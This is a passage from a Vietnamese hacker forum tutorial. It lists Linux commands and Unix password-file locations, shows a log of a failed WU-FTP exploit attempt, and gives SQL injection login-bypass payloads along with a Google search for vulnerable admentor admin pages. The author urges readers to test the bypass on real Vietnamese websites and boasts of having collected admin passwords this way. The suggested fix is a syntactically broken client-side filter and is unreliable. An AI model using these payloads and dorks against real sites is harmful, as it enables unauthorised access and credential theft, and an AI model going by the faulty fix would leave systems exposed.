như quá trình cài đặt, và các phiên bản của Nhân. 1 số Distribution lớn
hiện nay của Linux là : Debian, Redhat, Mandrake, SlackWare, Suse .

33 . ) Các lệnh căn bản cần biết khi sử dụng hoặc xâm nhập vào hệ thống Linux :
_ Lệnh `` man`` : Khi bạn muốn biết cách sử dụng lệnh nào thì có thể dùng tới lệnh nay :
Cấu trúc lệnh : $ man .
Ví dụ : $ man man
_ Lệnh `` uname ``: cho ta biết các thông tin cơ bản về hệ thống
Ví dụ : $uname -a ; nó sẽ đưa ra thông tin sau :

Linux gamma 2.4.18 #3 Wed Dec 26 10:50:09 ICT 2001 i686 unknown

_ Lệnh id : xem uid/gid hiện tại ( xem nhóm và tên hiện tại )

_ Lệnh w : xem các user đang login và action của họ trên hệ thống .
Ví Dụ : $w nó sẽ đưa ra thông tin sau :

10:31pm up 25 days, 4:07, 18 users, load average: 0.06, 0.01, 0.00

_ Lệnh ps: xem thông tin các process trên hệ thống
Ví dụ : $ps axuw
_ Lệnh cd : bạn muốn di chuyển đến thư mục nào . phải nhờ đến lệnh này .
Ví du : $ cd /usr/bin ---- > nó sẽ đưa bạn đến thư mục bin
_ Lệnh mkdir : tạo 1 thư mục .
Ví dụ : $ mkdir /home/convit --- > nó sẽ tạo 1 thư mục convit trong /home
_ Lệnh rmdir : gỡ bỏ thư mục
Ví dụ : $ rmdir /home/conga ---- > nó sẽ gỡ bỏ thư mục conga trong /home .
_ Lệnh ls: liệt kê nội dung thư mục
Ví dụ : $ls -laR /
_ Lệnh printf: in dữ liệu có định dạng, giống như sử dựng printf() của C++ .
Ví dụ : $printf %s ``\x41\x41\x41\x41``
_ Lệnh pwd: đưa ra thư mục hiện hành
Ví dụ : $pwd ------ > nó sẽ cho ta biết vị trí hiện thời của ta ở đâu : /home/level1
_ Các lệnh : cp, mv, rm có nghĩa là : copy, move, delete file
Ví dụ với lệnh rm (del) : $rm -rf /var/tmp/blah ----- > nó sẽ del file blah .
Làm tương tự đối với các lệnh cp , mv .
_ Lệnh find : tìm kiếm file, thư mục
Ví dụ : $find / -user level2
_ Lệnh grep: công cụ tìm kiếm, cách sử dụng đơn giản nhất : grep ``something``
Vidu : $ps axuw | grep ``level1``
_ Lệnh Strings: in ra tất cả các ký tự in được trong 1 file. Dùng nó để
tìm các khai báo hành chuỗi trong chương trình, hay các gọi hàm hệ
thống, có khi tìm thấy cả password nữa
VD: $strings /usr/bin/level1
_ Lệnh strace: (linux) trace các gọi hàm hệ thống và signal, cực kỳ hữu
ích để theo dõi flow của chương trình, cách nhanh nhất để xác định
chương trình bị lỗi ở đoạn nào. Trên các hệ thống unix khác, tool tương
đương là truss, ktrace .
Ví dụ : $strace /usr/bin/level1
_ Lệnh`` cat, more ``: in nội dung file ra màn hình

$cat /etc/passwd | more -- > nó sẽ đưa ra nội dung file passwd một cách nhanh nhất .
$more /etc/passwd ---- > Nó sẽ đưa ra nội dung file passwd một cách từ từ .

_ Lệnh hexdump : in ra các giá trị tương ứng theo ascii, hex, octal, decimal của dữ liệu nhập vào .
Ví dụ : $echo AAAA | hexdump
_ Lệnh : cc, gcc, make, gdb: các công cụ biên dịch và debug .
Ví dụ : $gcc -o -g bof bof.c
Ví dụ : $make bof
Ví dụ : $gdb level1
(gdb) break main
(gdb) run
_ Lệnh perl: một ngôn ngữ
Ví dụ : $perl -e `print ``A``x1024` | ./bufferoverflow ( Lỗi tràn bộ đệm khi ta đánh vào 1024 kí tự )
_ Lệnh ``bash`` : đã đến lúc tự động hoá các tác vụ của bạn bằng shell script, cực mạnh và linh hoạt .
Bạn muốn tìm hiểu về bash , xem nó như thế nào :
$man bash
_ Lệnh ls : Xem nội dung thư mục ( Liệt kê file trong thư mục ) .
Ví Dụ : $ ls /home ---- > sẽ hiện toàn bộ file trong thư mục Home
$ ls -a ----- > hiện toàn bộ file , bao gồm cả file ẩn
$ ls -l ----- > đưa ra thông tin về các file
_ Lệnh ghi dữ liệu đầu ra vào 1 file :
Vídụ : $ ls /urs/bin > ~/convoi ------ > ghi dữ liệu hiển thị thông tin của thư mục bin vào 1 file convoi .

34 . ) Những hiểu biết cơ bản xung quanh Linux :
a . ) Một vài thư mục quan trọng trên server :
_ /home : nơi lưu giữ các file người sử dụng ( VD : người đăng nhập hệ
thống có tên là convit thì sẽ có 1 thư mục là /home/convit )
_ /bin : Nơi xử lý các lệnh Unix cơ bản cần thiết như ls chẳng hạn .
_ /usr/bin : Nơi xử lý các lệnh dặc biệt khác , các lệnh dùng bởi người sử dụng đặc biệt và dùng quản trị hệ thống .
_ /bot : Nơi mà kernel và các file khác được dùng khi khởi động .
_ /ect : Các file hoạt động phụ mạng , NFS (Network File System ) Thư
tín ( Đây là nơi trọng yếu mà chúng ta cần khai thác nhiều nhất )
_ /var : Các file quản trị
_ /usr/lib : Các thư viện chuẩn như libc.a
_ /usr/src : Vị trí nguồn của các chương trình .

b . ) Vị trí file chứa passwd của một số phiên bản khác nhau :
CODE
AIX 3 /etc/security/passwd !/tcb/auth/files//
A/UX 3.0s /tcb/files/auth/?/*
BSD4.3-Ren /etc/master.passwd *
ConvexOS 10 /etc/shadpw *
ConvexOS 11 /etc/shadow *
DG/UX /etc/tcb/aa/user/ *
EP/IX /etc/shadow x
HP-UX /.secure/etc/passwd *
IRIX 5 /etc/shadow x
Linux 1.1 /etc/shadow *
OSF/1 /etc/passwd[.dir|.pag] *
SCO Unix #.2.x /tcb/auth/files//
SunOS4.1+c2 /etc/security/passwd.adjunct ##username
SunOS 5.0 /etc/shadow
System V Release 4.0 /etc/shadow x
System V Release 4.2 /etc/security/* database
Ultrix 4 /etc/auth[.dir|.pag] *
UNICOS /etc/udb *


35 . ) Khai thác lỗi của Linux qua lỗ hổng bảo mật của WU-FTP server :
_ WU-FTP Server
(được phát triển bởi đại Học Washington ) là một phần mềm Server phục
vụ FTP được dùng khá phổ biến trên các hệ thống Unix & Linux ( tất
cả các nhà phân phối: Redhat, Caldera, Slackware, Suse, Mandrake....) và
cả Windows.... , các hacker có thể thực thi các câu lệnh của mình từ
xa thông qua file globbing bằng cách ghi đè lên file có trên hệ thống .

_ Tuy nhiên , việc khai thác lỗi này không phảI là dễ vì nó phải hội đủ những điều kiện sau :
+ Phải có account trên server .
+ Phải đặt được Shellcode vào trong bộ nhớ Process của Server .
+ Phải gửi một lệnh FTP đặc biệt chứa đựng một globbing mẫu đặc biệt mà không bị server phát hiện có lỗi .
+ Hacker sẽ ghi đè lên một Function, Code tới một Shellcode, có thể nó sẽ được thực thi bới chính Server FTP .
_ Ta hãy phân tích VD sau về việc ghi đè lên file của server FTP :

CODE
ftp > open localhost <== lệnh mở trang bị lỗi .
Connected to localhost (127.0.0.1).
220 sasha FTP server (Version wu-2.6.1-18) ready <== xâm nhập thành công FTP server .
Name (localhost:root): anonymous <== Nhập tên chỗ này
331 Guest login ok, send your complete e-mail address as password.
Password:………..<== nhập mật khẩu ở đây
230 Guest login ok, access restrictions apply.
Remote system type is UNIX.
Using binary mode to transfer files. <== sử dụng biến nhị phân để chuyển đổi file .
ftp > ls ~{ <== lệnh liệt kê thư mục hiện hành .
227 Entering Passive Mode (127,0,0,1,241,205)
421 Service not available, remote server has closed connection
1405 ? S 0:00 ftpd: accepting connections on port 21 ç chấp nhận kết nốI ở cổng 21 .
7611 tty3 S 1:29 gdb /usr/sbin/wu.ftpd
26256 ? S 0:00 ftpd:
sasha:anonymous/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
26265 tty3 R 0:00 bash -c ps ax | grep ftpd
(gdb) at 26256
Attaching to program: /usr/sbin/wu.ftpd, process 26256 <== khai thác lỗi Wu.ftpd .
Symbols already loaded for /lib/libcrypt.so.1
Symbols already loaded for /lib/libnsl.so.1
Symbols already loaded for /lib/libresolv.so.2
Symbols already loaded for /lib/libpam.so.0
Symbols already loaded for /lib/libdl.so.2
Symbols already loaded for /lib/i686/libc.so.6
Symbols already loaded for /lib/ld-linux.so.2
Symbols already loaded for /lib/libnss_files.so.2
Symbols already loaded for /lib/libnss_nisplus.so.2
Symbols already loaded for /lib/libnss_nis.so.2
0x40165544 in __libc_read () from /lib/i686/libc.so.6
(gdb) c
Continuing.
Program received signal SIGSEGV, Segmentation fault.
__libc_free (mem=0x61616161) at malloc.c:3136
3136 in malloc.c


Việc khai thác qua lỗi này đến nay tôi test vẫn chưa thành công ( chẳng
biết làm sai chỗ nào ) . Vậy bạn nào làm được hãy post lên cho anh em
biết nhé .
Lỗi Linux hiện nay rất ít ( đặc biệt là đối với Redhat ), các bạn hãy
chờ đợi nếu có lỗi gì mới thì bên “LỗI bảo mật” sẽ cập nhật ngay . Khai
thác chúng như thế nào thì hỏi Mod quản lý bên đó , đặc biệt là bạn
Leonhart , cậu ta siêng trả lời các bạn lắm .

( Dựa theo bài viết của huynh Binhnx2000 )

36 . ) Tìm hiểu về SQL Injection :
_ SQL Injection là một trong những kiểu hack web đang dần trở nên phổ
biến hiện nay. Bằng cách inject các mã SQL query/command vào input trước
khi chuyển cho ứng dụng web xử lí, bạn có thể login mà không cần
username và password, thi hành lệnh từ xa, đoạt dữ liệu và lấy root của
SQL server. Công cụ dùng để tấn công là một trình duyệt web bất kì,
chẳng hạn như Internet Explorer, Netscape, Lynx, ...
_ Bạn có thể kiếm được trang Web bị lỗi bằng cách dùng các công cụ tìm
kiếm để kiếm các trang cho phép submit dữ liệu . Một số trang Web
chuyển tham số qua các khu vực ẩn nên bạn phảI viewsource mớI thấy được .
VD ta xác định được trang này sử dụng Submit dữ liệu nhờ nhìn vào mã
mà ta đã viewsource :

CODE


<input type=hidden name=A value=C >




_ Kiểm tra thử xem trang Web có bị lỗi này hay không bằng cách nhập vào login và pass lân lượt như sau :

- Login: hi` or 1=1--
- Pass: hi` or 1=1--

Nếu không được bạn thử tiếp với các login và pass sau :

CODE
` or 1=1--
`` or 1=1--
or 1=1--
` or `a`=`a
`` or ``a``=``a
`) or (`a`=`a


Nếu thành công, bạn có thể login vào mà không cần phải biết username và password .
Lỗi này có dính dáng đến Query nên nếu bạn nào đã từng học qua cơ sở dữ
liệu có thể khai thác dễ dàng chỉ bằng cách đánh các lệnh Query trên
trình duyệt của các bạn . Nếu các bạn muốn tìm hiểu kỹ càng hơn về lỗi
này có thể tìm các bài viết của nhóm vicky để tìm hiểu thêm .

37 . ) Một VD về hack Web thông qua lỗi admentor ( Một dạng của lỗi SQL Injection ) :
_ Trước tiên bạn vào google.com tìm trang Web admentor bằng từ khoá “allinurl : admentor” .
_ Thông thường bạn sẽ có kết quả sau :

http://www.someserver.com/admentor /admin/admin.asp

_ Bạn thử nhập “ ` or ``=` ” vào login và password :

CODE
Login : ` or ``=`
Password : ` or ``=`


_ Nếu thành công bạn sẽ xâm nhập vào Web bị lỗi với vai trò là admin .
_ Ta hãy tìm hiểu về cách fix lỗi này nhé :
+ Lọc các ký tự đặc biệt như “ ` `` ~ \ ” bằng cách chêm vào javascrip đoạn mã sau :

CODE
function RemoveBad(strTemp)
{
strTemp = strTemp.replace(/\<|\ > |\``|\`|\%|\;|\(|\)|\&|\+|
\-/g,````);
return strTemp;
}


+ Và gọi nó từ bên trong của asp script :

CODE
var login = var TempStr = RemoveBad
(Request.QueryString(``login``));
var password = var TempStr = RemoveBad
(Request.QueryString(``password``));


_ Vậy là ta đã fix xong lỗi .
_ Các bạn có thể áp dụng cách hack này cho các trang Web khác có submit
dữ liệu , các bạn hãy test thử xem đi , các trang Web ở Việt Nam mình
bị nhiều lắm , tôi đã kiếm được kha khá pass admin bằng cách thử này
rồi ( nhưng cũng đã báo để họ fix lại ) .
_ Có nhiều trang khi login không phải bằng “ ` or ``=’ ” mà bằng các
nick name có thật đã đăng ký trên trang Web đó , ta vào link “thành
viên” kiếm nick của một admin để test thử nhé .
Hack vui vẻ .

================================================== = =

Ở phần 6 tôi sẽ đề cập đến kiểu tấn công từ chối dịch vụ ( DoS attack )
, một kiểu tấn công lợi hại đã làm cho trang Web hùng mạnh như HVA của
chúng ta bị tắt nghẽn chỉ trong thờI gian ngắn các admin bận đi uống
cafe hết mà không ai trông coi . Kèm theo đó là các phương pháp tấn
công DoS đã và đang được sử dụng .

GOOKLUCK!!!!!!!!!!!!!!!!!!!!

( Hết phần 5 ) Kiến thức căn bản để đào tạo bạn thành hacker - 3  2393698473

Back to top  Message [Page 1 of 1]

Permissions in this forum:
You cannot reply to topics in this forum